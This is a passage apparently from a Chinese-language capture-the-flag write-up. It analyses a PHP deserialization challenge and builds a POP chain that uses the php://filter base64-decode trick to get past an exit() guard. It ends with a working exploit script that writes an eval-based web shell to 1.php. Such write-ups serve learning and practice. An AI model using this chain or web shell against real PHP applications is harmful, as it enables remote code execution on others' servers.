<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
这种长的,感觉从功能入手比较好搞
file_put_contents($filename, $data);
写入文件名和数据
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
由一个php语句,还有一个exit,要绕过它谈一谈php://filter的妙用 | 离别歌
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
这里进去if的化data会被压缩,所以不能进去,那就要options['data_compress']为空才行
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
$data = $this->serialize($value);
这里相当于先判断data是不是数字,然后返回由options['serialize']所代表的函数之类的处理过后的data,options['serialize']的值需要是一个不影响data的函数。
之后是filename
$dir = dirname($filename);
dirname() 函数返回路径中的目录名称部分。
$filename = $this->getCacheKey($name);
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
把options['prefix']拼在name的前面
然后这些都是在自定义的set函数下进行的
public function set($name, $value, $expire = null)
而进入set需要先进入save,又会触发getForStorage函数
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) { //需要autosave不存在才可以进入save
$this->save();
}
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([ //array_flip() 函数用于反转/交换数组中的键名和对应关联的键值。
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
} //array_intersect_key() 函数用于比较两个(或更多个)数组的键名 ,并返回交集。
}
return $contents; //这个函数我们输入的键名要是$cachedProperties里面的一个,而值则是我们的语句
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
public function set($name, $value, $expire = null)
这里expire默认null,然后进入if,expire的值变为options['expire']的值,而data里面需要expire为十进制数,所以要把options['expire']的值改为十进制数
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->cache = array();
$this->complete = 'aaa'.base64_encode('<?php @eval($_POST[1]);?>');
$this->key = "1.php";
$this->store = new B();
$this->autosave = false;
$this->expire = 0;
}
}
class B{
public $options = array();
function __construct()
{
$this->options['serialize'] = 'trim';
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
$this->options['data_compress'] = false;
}
}
echo urlencode(serialize(new A()));
之后?data=payload就可以生成1.php